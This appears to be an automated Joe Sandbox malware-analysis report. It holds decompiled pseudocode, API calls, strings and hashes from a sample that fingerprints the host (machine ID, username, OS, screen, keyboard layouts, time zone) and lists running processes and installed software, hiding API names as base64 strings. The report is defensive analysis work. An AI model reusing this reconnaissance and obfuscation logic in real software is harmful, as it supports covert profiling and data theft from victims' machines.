0x00416bf0
0x00416c01
0x00416c08
0x00416c10
0x00416c1a
0x00416c21
0x00416c24
0x00416c27
0x00416c34
0x00416c41
0x00416c49
0x00416c56
0x00416c5e
0x00416c6b
0x00416c78
0x00416c85
0x00416c97

APIs

Part of subcall function 004166A4: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,004169FE,EXE_PATH : ,?,00416CC4,0041A232,MachineID : ,00000000,00416C98,?,?,00000000,00000000), ref: 004166B8

GetSystemMetrics.USER32(00000000), ref: 00416AF3
GetSystemMetrics.USER32(00000001), ref: 00416B0A

Part of subcall function 00415E64: GetSystemInfo.KERNEL32(0041987E,00000000,00415FF0,?,?,00000000,00000000,?,00416BA9,?,,?,Zone: ,?,00416CC4,?), ref: 00415E88

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,00416CC4,?,LocalTime: ,?,00416CC4,?,Layouts: ,?), ref: 00416BBF

Part of subcall function 004162B0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 00416320
Part of subcall function 004162B0: GetProcAddress.KERNEL32(00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?,?,00416BCE,?,00000001,,?,?), ref: 00416326
Part of subcall function 004162B0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 0041634E
Part of subcall function 004162B0: GetProcAddress.KERNEL32(00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?,?,00416BCE,?,00000001), ref: 00416354
Part of subcall function 004162B0: LoadLibraryA.KERNEL32(00000000), ref: 00416393
Part of subcall function 004162B0: GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?), ref: 00416399
Part of subcall function 004162B0: GetCurrentProcessId.KERNEL32(?,-00000001,?,?,?,00416BCE,?,00000001,,?,?,,?,Zone: ,?,00416CC4), ref: 004164C6

Sleep.KERNEL32(00000001,00416CC4,00416CC4,?,?,00000001,,?,?,,?,Zone: ,?,00416CC4,?,LocalTime: ), ref: 00416BE9
Sleep.KERNEL32(00000001,00416CC4,[Soft],?,00000001,00416CC4,00416CC4,?,?,00000001,,?,?,,?,Zone: ), ref: 00416C08

Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A232,00000000,00415B6E,?,-00000001,?,?,00000000,00000000,?,00416C15,00000001), ref: 004156A9
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A232,00000000,?,000003E9), ref: 00415831
Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A232,0041A232,00000001,?,000003E9,),?,?,00000000,00415C44,?,?), ref: 0041586C
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A232,00000000,?,000003E9), ref: 004159F4

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

Computer(Username) : , xrefs: 00416A80
LocalTime: , xrefs: 00416B5B
Screen: , xrefs: 00416AD9
Windows : , xrefs: 00416A14
, xrefs: 00416A01, 00416B8E, 00416BAC
EXE_PATH : , xrefs: 004169EF
Zone: , xrefs: 00416B7E
[Soft], xrefs: 00416BF0
MachineID : , xrefs: 004169CC
Layouts: , xrefs: 00416B38

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumMetricsOpen$CurrentE4513FileInfoModuleNameProcess
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 3220671617-943277980
Opcode ID: cf3f118df456fbb21fa1facc159087a1725326ec374e31ca9e90b70e587c2f3d
Instruction ID: 8b9989462d4f4fef8a344be179faa2751249c1c0a2b7f31c48e03d76eef590b6
Opcode Fuzzy Hash: cf3f118df456fbb21fa1facc159087a1725326ec374e31ca9e90b70e587c2f3d
Instruction Fuzzy Hash: 3A813E70A00249ABDB01FFA1CC42BCDBB79EF45309F61807BB104B62D6D67DEA458B59

Uniqueness

Uniqueness Score: 100.00%

Function 00416998, Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 211
sleepUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E00416998(signed int __eax, void* __ebx, intOrPtr* __edx, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				intOrPtr* _t59;
				intOrPtr* _t141;
				void* _t142;
				intOrPtr _t172;
				void* _t180;
				intOrPtr _t183;
				intOrPtr _t184;

				_t181 = __esi;
				asm("das");
				 *__eax =  *__eax + __eax;
				 *__edx =  *__edx + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax & __eax;
				 *__eax =  *__eax + __eax;
				_t59 = __eax +  *__eax;
				 *_t59 =  *_t59 + _t59;
				 *_t59 =  *_t59 + _t59;
				_t183 = _t184;
				_t142 = 0xc;
				do {
					_push(0);
					_push(0);
					_t142 = _t142 - 1;
					_t189 = _t142;
				} while (_t142 != 0);
				_t141 = _t59;
				_push(_t183);
				_push(0x416c98);
				_push( *[fs:eax]);
				 *[fs:eax] = _t184;
				_push("MachineID :   ");
				E00406CE8( &_v8, _t141, __esi);
				_push(_v8);
				_push(0x416cc4);
				E00403850();
				_push( *_t141);
				_push("EXE_PATH  :   ");
				E004166A4(0,  &_v12);
				_push(_v12);
				_push(0x416ce8);
				E00403850();
				_push( *_t141);
				_push("Windows    :   ");
				E00407B08( &_v28, _t141, _t180, __esi);
				_push(_v28);
				_push(0x416d10);
				E00403850();
				E00403D88( &_v20, _v24);
				_push(_v20);
				E004066E4( &_v32, _t189);
				_push(_v32);
				_push(0x416d18);
				E00406BD8( &_v36);
				_push(_v36);
				_push(0x416d20);
				E00403E78();
				E0040377C(_t141, _v16);
				E004037DC( &_v48, "Computer(Username) :   ",  *_t141);
				E00403D88( &_v44, _v48);
				_push(_v44);
				E00406634( &_v52);
				_push(_v52);
				_push(0x416d4c);
				E004065F0( &_v56);
				_push(_v56);
				_push(0x416d54);
				_push(0x416d20);
				E00403E78();
				E0040377C(_t141, _v40);
				E004037DC( &_v68, "Screen: ",  *_t141);
				E00403D88( &_v64, _v68);
				_push(_v64);
				E0040709C(GetSystemMetrics(0), _t141,  &_v72, __esi, _t189);
				_push(_v72);
				_push(0x416d70);
				E0040709C(GetSystemMetrics(1), _t141,  &_v76, _t181, _t189);
				_push(_v76);
				_push(0x416d20);
				E00403E78();
				E0040377C(_t141, _v60);
				_push( *_t141);
				_push("Layouts: ");
				E004166D4( &_v80, _t141, _t180, _t181);
				_push(_v80);
				_push(0x416cc4);
				E00403850();
				_push( *_t141);
				_push("LocalTime: ");
				E004168B4( &_v84, _t141, _t181);
				_push(_v84);
				_push(0x416cc4);
				E00403850();
				_push( *_t141);
				_push("Zone: ");
				E004167B4( &_v88, _t141, _t180, _t181, _t189);
				_push(_v88);
				_push(0x416ce8);
				E00403850();
				_push( *_t141);
				E00415E64( &_v92, _t141, _t180, _t181);
				_push(_v92);
				_push(0x416ce8);
				E00403850();
				Sleep(1);
				_push( *_t141);
				E004162B0( &_v96, _t141, _t180, _t181, _t189);
				_push(_v96);
				_push(0x416cc4);
				_push(0x416cc4);
				E00403850();
				Sleep(1);
				_push( *_t141);
				_push("[Soft]");
				E00403850();
				Sleep(1);
				E0041564C( &_v100, _t141, _t180, _t181);
				E00403798(_t141, _v100);
				_t172 = 0x416cc4;
				 *[fs:eax] = _t172;
				_push(E00416C9F);
				E00403508( &_v100, 6);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 4);
				E00403508( &_v28, 2);
				E00403BF4( &_v20, 2);
				return E00403508( &_v12, 2);
			}

0x00416998
0x00416998
0x00416999
0x0041699b
0x0041699d
0x0041699f
0x004169a0
0x004169a2
0x004169a4
0x004169a6
0x004169aa
0x004169ad
0x004169af
0x004169b4
0x004169b4
0x004169b6
0x004169b8
0x004169b8
0x004169b8
0x004169bc
0x004169c0
0x004169c1
0x004169c6
0x004169c9
0x004169cc
0x004169d4
0x004169d9
0x004169dc
0x004169e8
0x004169ed
0x004169ef
0x004169f9
0x004169fe
0x00416a01
0x00416a0d
0x00416a12
0x00416a14
0x00416a1c
0x00416a21
0x00416a24
0x00416a31
0x00416a3c
0x00416a41
0x00416a47
0x00416a4c
0x00416a4f
0x00416a57
0x00416a5c
0x00416a5f
0x00416a6c
0x00416a76
0x00416a85
0x00416a90
0x00416a95
0x00416a9b
0x00416aa0
0x00416aa3
0x00416aab
0x00416ab0
0x00416ab3
0x00416ab8
0x00416ac5
0x00416acf
0x00416ade
0x00416ae9
0x00416aee
0x00416afb
0x00416b00
0x00416b03
0x00416b12
0x00416b17
0x00416b1a
0x00416b27
0x00416b31
0x00416b36
0x00416b38
0x00416b40
0x00416b45
0x00416b48
0x00416b54
0x00416b59
0x00416b5b
0x00416b63
0x00416b68
0x00416b6b
0x00416b77
0x00416b7c
0x00416b7e
0x00416b86
0x00416b8b
0x00416b8e
0x00416b9a
0x00416b9f
0x00416ba4
0x00416ba9
0x00416bac
0x00416bb8
0x00416bbf
0x00416bc4
0x00416bc9
0x00416bce
0x00416bd1
0x00416bd6
0x00416be2
0x00416be9
0x00416bee
0x00416bf0
0x00416c01
0x00416c08
0x00416c10
0x00416c1a
0x00416c21
0x00416c24
0x00416c27
0x00416c34
0x00416c41
0x00416c49
0x00416c56
0x00416c5e
0x00416c6b
0x00416c78
0x00416c85
0x00416c97

APIs

Part of subcall function 004166A4: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,004169FE,EXE_PATH : ,?,00416CC4,0041A232,MachineID : ,00000000,00416C98,?,?,00000000,00000000), ref: 004166B8

GetSystemMetrics.USER32(00000000), ref: 00416AF3
GetSystemMetrics.USER32(00000001), ref: 00416B0A

Part of subcall function 00415E64: GetSystemInfo.KERNEL32(0041987E,00000000,00415FF0,?,?,00000000,00000000,?,00416BA9,?,,?,Zone: ,?,00416CC4,?), ref: 00415E88

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,00416CC4,?,LocalTime: ,?,00416CC4,?,Layouts: ,?), ref: 00416BBF

Part of subcall function 004162B0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 00416320
Part of subcall function 004162B0: GetProcAddress.KERNEL32(00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?,?,00416BCE,?,00000001,,?,?), ref: 00416326
Part of subcall function 004162B0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 0041634E
Part of subcall function 004162B0: GetProcAddress.KERNEL32(00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?,?,00416BCE,?,00000001), ref: 00416354
Part of subcall function 004162B0: LoadLibraryA.KERNEL32(00000000), ref: 00416393
Part of subcall function 004162B0: GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?), ref: 00416399
Part of subcall function 004162B0: GetCurrentProcessId.KERNEL32(?,-00000001,?,?,?,00416BCE,?,00000001,,?,?,,?,Zone: ,?,00416CC4), ref: 004164C6

Sleep.KERNEL32(00000001,00416CC4,00416CC4,?,?,00000001,,?,?,,?,Zone: ,?,00416CC4,?,LocalTime: ), ref: 00416BE9
Sleep.KERNEL32(00000001,00416CC4,[Soft],?,00000001,00416CC4,00416CC4,?,?,00000001,,?,?,,?,Zone: ), ref: 00416C08

Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A232,00000000,00415B6E,?,-00000001,?,?,00000000,00000000,?,00416C15,00000001), ref: 004156A9
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A232,00000000,?,000003E9), ref: 00415831
Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A232,0041A232,00000001,?,000003E9,),?,?,00000000,00415C44,?,?), ref: 0041586C
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A232,00000000,?,000003E9), ref: 004159F4

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

Computer(Username) : , xrefs: 00416A80
LocalTime: , xrefs: 00416B5B
Screen: , xrefs: 00416AD9
Windows : , xrefs: 00416A14
, xrefs: 00416A01, 00416B8E, 00416BAC
EXE_PATH : , xrefs: 004169EF
Zone: , xrefs: 00416B7E
[Soft], xrefs: 00416BF0
MachineID : , xrefs: 004169CC
Layouts: , xrefs: 00416B38

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumMetricsOpen$CurrentE4513FileInfoModuleNameProcess
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 3220671617-943277980
Opcode ID: dd272a6e7e326a465c40a1b41d4886bd76584f821fbfe7aab4bf96d3cbfaee75
Instruction ID: 251d5a466214097b699f1fc24ce8194d4575742f71ae0e2f32c3f29d8f454955
Opcode Fuzzy Hash: dd272a6e7e326a465c40a1b41d4886bd76584f821fbfe7aab4bf96d3cbfaee75
Instruction Fuzzy Hash: 17812E70A00209ABDB01FFA1CC42BCDBB79EF45309F61807BB104B62D6D67DEA458B59

Uniqueness

Uniqueness Score: 100.00%

Function 004169AC, Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 201
sleepUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E004169AC(intOrPtr* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				intOrPtr* _t140;
				void* _t141;
				intOrPtr _t171;
				intOrPtr _t182;
				intOrPtr _t183;

				_t180 = __esi;
				_t179 = __edi;
				_t182 = _t183;
				_t141 = 0xc;
				do {
					_push(0);
					_push(0);
					_t141 = _t141 - 1;
					_t184 = _t141;
				} while (_t141 != 0);
				_t140 = __eax;
				_push(_t182);
				_push(0x416c98);
				_push( *[fs:eax]);
				 *[fs:eax] = _t183;
				_push("MachineID :   ");
				E00406CE8( &_v8, __eax, __esi);
				_push(_v8);
				_push(0x416cc4);
				E00403850();
				_push( *_t140);
				_push("EXE_PATH  :   ");
				E004166A4(0,  &_v12);
				_push(_v12);
				_push(0x416ce8);
				E00403850();
				_push( *_t140);
				_push("Windows    :   ");
				E00407B08( &_v28, _t140, __edi, __esi);
				_push(_v28);
				_push(0x416d10);
				E00403850();
				E00403D88( &_v20, _v24);
				_push(_v20);
				E004066E4( &_v32, _t184);
				_push(_v32);
				_push(0x416d18);
				E00406BD8( &_v36);
				_push(_v36);
				_push(0x416d20);
				E00403E78();
				E0040377C(_t140, _v16);
				E004037DC( &_v48, "Computer(Username) :   ",  *_t140);
				E00403D88( &_v44, _v48);
				_push(_v44);
				E00406634( &_v52);
				_push(_v52);
				_push(0x416d4c);
				E004065F0( &_v56);
				_push(_v56);
				_push(0x416d54);
				_push(0x416d20);
				E00403E78();
				E0040377C(_t140, _v40);
				E004037DC( &_v68, "Screen: ",  *_t140);
				E00403D88( &_v64, _v68);
				_push(_v64);
				E0040709C(GetSystemMetrics(0), _t140,  &_v72, _t180, _t184);
				_push(_v72);
				_push(0x416d70);
				E0040709C(GetSystemMetrics(1), _t140,  &_v76, _t180, _t184);
				_push(_v76);
				_push(0x416d20);
				E00403E78();
				E0040377C(_t140, _v60);
				_push( *_t140);
				_push("Layouts: ");
				E004166D4( &_v80, _t140, __edi, _t180);
				_push(_v80);
				_push(0x416cc4);
				E00403850();
				_push( *_t140);
				_push("LocalTime: ");
				E004168B4( &_v84, _t140, _t180);
				_push(_v84);
				_push(0x416cc4);
				E00403850();
				_push( *_t140);
				_push("Zone: ");
				E004167B4( &_v88, _t140, _t179, _t180, _t184);
				_push(_v88);
				_push(0x416ce8);
				E00403850();
				_push( *_t140);
				E00415E64( &_v92, _t140, _t179, _t180);
				_push(_v92);
				_push(0x416ce8);
				E00403850();
				Sleep(1);
				_push( *_t140);
				E004162B0( &_v96, _t140, _t179, _t180, _t184);
				_push(_v96);
				_push(0x416cc4);
				_push(0x416cc4);
				E00403850();
				Sleep(1);
				_push( *_t140);
				_push("[Soft]");
				E00403850();
				Sleep(1);
				E0041564C( &_v100, _t140, _t179, _t180);
				E00403798(_t140, _v100);
				_t171 = 0x416cc4;
				 *[fs:eax] = _t171;
				_push(E00416C9F);
				E00403508( &_v100, 6);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 4);
				E00403508( &_v28, 2);
				E00403BF4( &_v20, 2);
				return E00403508( &_v12, 2);
			}

0x004169ac
0x004169ac
0x004169ad
0x004169af
0x004169b4
0x004169b4
0x004169b6
0x004169b8
0x004169b8
0x004169b8
0x004169bc
0x004169c0
0x004169c1
0x004169c6
0x004169c9
0x004169cc
0x004169d4
0x004169d9
0x004169dc
0x004169e8
0x004169ed
0x004169ef
0x004169f9
0x004169fe
0x00416a01
0x00416a0d
0x00416a12
0x00416a14
0x00416a1c
0x00416a21
0x00416a24
0x00416a31
0x00416a3c
0x00416a41
0x00416a47
0x00416a4c
0x00416a4f
0x00416a57
0x00416a5c
0x00416a5f
0x00416a6c
0x00416a76
0x00416a85
0x00416a90
0x00416a95
0x00416a9b
0x00416aa0
0x00416aa3
0x00416aab
0x00416ab0
0x00416ab3
0x00416ab8
0x00416ac5
0x00416acf
0x00416ade
0x00416ae9
0x00416aee
0x00416afb
0x00416b00
0x00416b03
0x00416b12
0x00416b17
0x00416b1a
0x00416b27
0x00416b31
0x00416b36
0x00416b38
0x00416b40
0x00416b45
0x00416b48
0x00416b54
0x00416b59
0x00416b5b
0x00416b63
0x00416b68
0x00416b6b
0x00416b77
0x00416b7c
0x00416b7e
0x00416b86
0x00416b8b
0x00416b8e
0x00416b9a
0x00416b9f
0x00416ba4
0x00416ba9
0x00416bac
0x00416bb8
0x00416bbf
0x00416bc4
0x00416bc9
0x00416bce
0x00416bd1
0x00416bd6
0x00416be2
0x00416be9
0x00416bee
0x00416bf0
0x00416c01
0x00416c08
0x00416c10
0x00416c1a
0x00416c21
0x00416c24
0x00416c27
0x00416c34
0x00416c41
0x00416c49
0x00416c56
0x00416c5e
0x00416c6b
0x00416c78
0x00416c85
0x00416c97

APIs

Part of subcall function 004166A4: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,004169FE,EXE_PATH : ,?,00416CC4,0041A232,MachineID : ,00000000,00416C98,?,?,00000000,00000000), ref: 004166B8

GetSystemMetrics.USER32(00000000), ref: 00416AF3
GetSystemMetrics.USER32(00000001), ref: 00416B0A

Part of subcall function 00415E64: GetSystemInfo.KERNEL32(0041987E,00000000,00415FF0,?,?,00000000,00000000,?,00416BA9,?,,?,Zone: ,?,00416CC4,?), ref: 00415E88

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,00416CC4,?,LocalTime: ,?,00416CC4,?,Layouts: ,?), ref: 00416BBF

Part of subcall function 004162B0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 00416320
Part of subcall function 004162B0: GetProcAddress.KERNEL32(00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?,?,00416BCE,?,00000001,,?,?), ref: 00416326
Part of subcall function 004162B0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 0041634E
Part of subcall function 004162B0: GetProcAddress.KERNEL32(00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?,?,00416BCE,?,00000001), ref: 00416354
Part of subcall function 004162B0: LoadLibraryA.KERNEL32(00000000), ref: 00416393
Part of subcall function 004162B0: GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?), ref: 00416399
Part of subcall function 004162B0: GetCurrentProcessId.KERNEL32(?,-00000001,?,?,?,00416BCE,?,00000001,,?,?,,?,Zone: ,?,00416CC4), ref: 004164C6

Sleep.KERNEL32(00000001,00416CC4,00416CC4,?,?,00000001,,?,?,,?,Zone: ,?,00416CC4,?,LocalTime: ), ref: 00416BE9
Sleep.KERNEL32(00000001,00416CC4,[Soft],?,00000001,00416CC4,00416CC4,?,?,00000001,,?,?,,?,Zone: ), ref: 00416C08

Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A232,00000000,00415B6E,?,-00000001,?,?,00000000,00000000,?,00416C15,00000001), ref: 004156A9
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A232,00000000,?,000003E9), ref: 00415831
Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A232,0041A232,00000001,?,000003E9,),?,?,00000000,00415C44,?,?), ref: 0041586C
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A232,00000000,?,000003E9), ref: 004159F4

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

Computer(Username) : , xrefs: 00416A80
LocalTime: , xrefs: 00416B5B
Screen: , xrefs: 00416AD9
Windows : , xrefs: 00416A14
, xrefs: 00416A01, 00416B8E, 00416BAC
EXE_PATH : , xrefs: 004169EF
Zone: , xrefs: 00416B7E
[Soft], xrefs: 00416BF0
MachineID : , xrefs: 004169CC
Layouts: , xrefs: 00416B38

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumMetricsOpen$CurrentE4513FileInfoModuleNameProcess
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 3220671617-943277980
Opcode ID: 8b00b84aa516fba5c77c63446095be8e0015e5adddf6cbf02c21b266f47d11b6
Instruction ID: 17a9d3f9dada47cc9ac8d1119a6a539bb1925bf71553c9b7a2c2a659eb457ae7
Opcode Fuzzy Hash: 8b00b84aa516fba5c77c63446095be8e0015e5adddf6cbf02c21b266f47d11b6
Instruction Fuzzy Hash: FA712D70A00109ABDB01FFD1DC42FCDBB7AEF48309F61803BB104766D6D679EA458A59

Uniqueness

Uniqueness Score: 100.00%

Function 004162B0, Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 225
libraryloaderUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E004162B0(intOrPtr __eax, void* __ebx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				long _v12;
				intOrPtr _v16;
				char _v17;
				char _v24;
				char _v28;
				char _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				CHAR* _t113;
				CHAR* _t119;
				CHAR* _t125;
				void* _t137;
				void* _t141;
				void* _t169;
				signed int _t170;
				void* _t171;
				intOrPtr* _t174;
				signed int _t183;
				intOrPtr* _t192;
				void* _t193;
				signed int _t194;
				signed int _t195;
				intOrPtr _t214;
				intOrPtr _t216;
				signed int _t229;
				intOrPtr* _t239;
				signed int _t240;
				signed int _t242;
				void* _t243;
				void* _t244;
				void* _t246;
				intOrPtr _t247;

				_t238 = __esi;
				_t245 = _t246;
				_t247 = _t246 + 0xfffffda0;
				_v612 = 0;
				_v608 = 0;
				_v604 = 0;
				_v596 = 0;
				_v600 = 0;
				_v592 = 0;
				_v588 = 0;
				_v8 = 0;
				_v24 = 0;
				_v16 = __eax;
				 *[fs:eax] = _t247;
				E004069A8("Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90", __ebx,  &_v588, __edi, __esi);
				_t113 = E00403990(_v588);
				_t192 = GetProcAddress(LoadLibraryA("kernel32.dll"), _t113);
				E004069A8("UHJvY2VzczMyRmlyc3RX", _t192,  &_v592, __edi, __esi);
				_t119 = E00403990(_v592);
				_t235 = GetProcAddress(LoadLibraryA("kernel32.dll"), _t119);
				E004069A8("UHJvY2VzczMyTmV4dFc=", _t192,  &_v596, _t235, __esi);
				_t125 = E00403990(_v596);
				E004069A8("a2VybmVsMzIuZGxs", _t192,  &_v600, _t235, _t238);
				_t239 = GetProcAddress(LoadLibraryA(E00403990(_v600)), _t125);
				E004034E4(_v16);
				_t193 =  *_t192(2, 0,  *[fs:eax], 0x4165e6, _t246, __edi, __esi, __ebx, _t244);
				if(_t193 != 0xffffffff) {
					_v584 = 0x22c;
					_push( &_v584);
					_push(_t193);
					if( *_t235() != 0) {
						do {
							_push(E00404648(_v8) + 1);
							E00404804();
							_t183 = E00404648(_v8);
							_t243 =  &_v584;
							memcpy(_v8 + _t183 * 0x8b * 4 - 0x22c, _t243, 0x8b << 2);
							_t247 = _t247 + 0x10;
							_t235 = _t243 + 0x116;
							_t239 = _t239;
							 *((intOrPtr*)(_v8 + E00404648(_v8) * 0x8b * 4 - 0x20c)) = 0;
							_push( &_v584);
							_push(_t193);
						} while ( *_t239() != 0);
					}
					_t174 =  *0x41b1b4; // 0x41c690
					 *((intOrPtr*)( *_t174))(_t193);
				}
				_t137 = E00404648(_v8) - 1;
				if(_t137 >= 0) {
					_v28 = _t137 + 1;
					_t195 = 0;
					do {
						_v17 = 1;
						_t169 = E00404648(_v8) - 1;
						if(_t169 >= 0) {
							_t171 = _t169 + 1;
							_t229 = 0;
							do {
								_t43 = _t195 * 0x8b * 4; // 0x0
								_t242 = _t229 * 0x8b;
								_t235 = _v8;
								_t47 = _t242 * 4; // 0x1ffff
								if( *((intOrPtr*)(_v8 + _t43 + 0x18)) ==  *((intOrPtr*)(_v8 + _t47 + 8))) {
									_v17 = 0;
								}
								_t229 = _t229 + 1;
								_t171 = _t171 - 1;
							} while (_t171 != 0);
						}
						_t170 = _t195 * 0x8b;
						_t52 = _t170 * 4; // 0x0
						_t56 = _t170 * 4; // 0x1ffff
						if( *((intOrPtr*)(_v8 + _t52 + 0x18)) ==  *((intOrPtr*)(_v8 + _t56 + 8))) {
							_v17 = 1;
						}
						if(_v17 == 1) {
							 *((intOrPtr*)(_v8 + 0x20 + _t170 * 4)) = 1;
						}
						_t195 = _t195 + 1;
						_t64 =  &_v28;
						 *_t64 = _v28 - 1;
					} while ( *_t64 != 0);
				}
				_v12 = GetCurrentProcessId();
				_t141 = E00404648(_v8) - 1;
				if(_t141 >= 0) {
					_v28 = _t141 + 1;
					_t194 = 0;
					do {
						_t240 = _t194 * 0x8b;
						if( *((intOrPtr*)(_v8 + 0x20 + _t240 * 4)) == 1) {
							_t75 = _t240 * 4; // 0x1ffff
							if( *((intOrPtr*)(_v8 + _t75 + 8)) != _v12) {
								_push(_v24);
								_t90 = _t240 * 4; // 0x0
								E00403760( &_v608, 0x104, _v8 + _t90 + 0x24);
								_push(_v608);
								_push(E004166A0);
								E00403850();
							} else {
								_push(_v24);
								_t82 = _t240 * 4; // 0x0
								E00403760( &_v604, 0x104, _v8 + _t82 + 0x24);
								_push(_v604);
								_push(0x416694);
								_push(E004166A0);
								E00403850();
							}
							_t96 = _t194 * 0x8b * 4; // 0x1ffff
							E0041610C( *((intOrPtr*)(_v8 + _t96 + 8)), _t194,  &_v612, 1, _t235, _t240, _t245);
							E00403798( &_v24, _v612);
						}
						E00403538(_v16, _v24);
						_t194 = _t194 + 1;
						_t103 =  &_v28;
						 *_t103 = _v28 - 1;
					} while ( *_t103 != 0);
				}
				_pop(_t214);
				 *[fs:eax] = _t214;
				_push(E004165ED);
				E00403508( &_v612, 7);
				E004034E4( &_v24);
				_t216 =  *0x4160e4; // 0x4160e8
				return E00404810( &_v8, _t216);
			}

0x004162b0
0x004162b1
0x004162b3
0x004162be
0x004162c4
0x004162ca
0x004162d0
0x004162d6
0x004162dc
0x004162e2
0x004162e8
0x004162eb
0x004162ee
0x004162fc
0x0041630a
0x00416315
0x0041632b
0x00416338
0x00416343
0x00416359
0x00416366
0x00416371
0x00416382
0x0041639e
0x004163a3
0x004163ae
0x004163b3
0x004163b9
0x004163c9
0x004163ca
0x004163cf
0x004163d1
0x004163da
0x004163e9
0x004163f4
0x0041640a
0x00416415
0x00416415
0x00416415
0x00416417
0x0041642b
0x00416438
0x00416439
0x0041643c
0x004163d1
0x00416441
0x00416448
0x00416448
0x00416452
0x00416455
0x00416458
0x0041645b
0x0041645d
0x0041645d
0x00416469
0x0041646c
0x0041646e
0x0041646f
0x00416471
0x0041647a
0x0041647e
0x00416484
0x00416487
0x0041648b
0x0041648d
0x0041648d
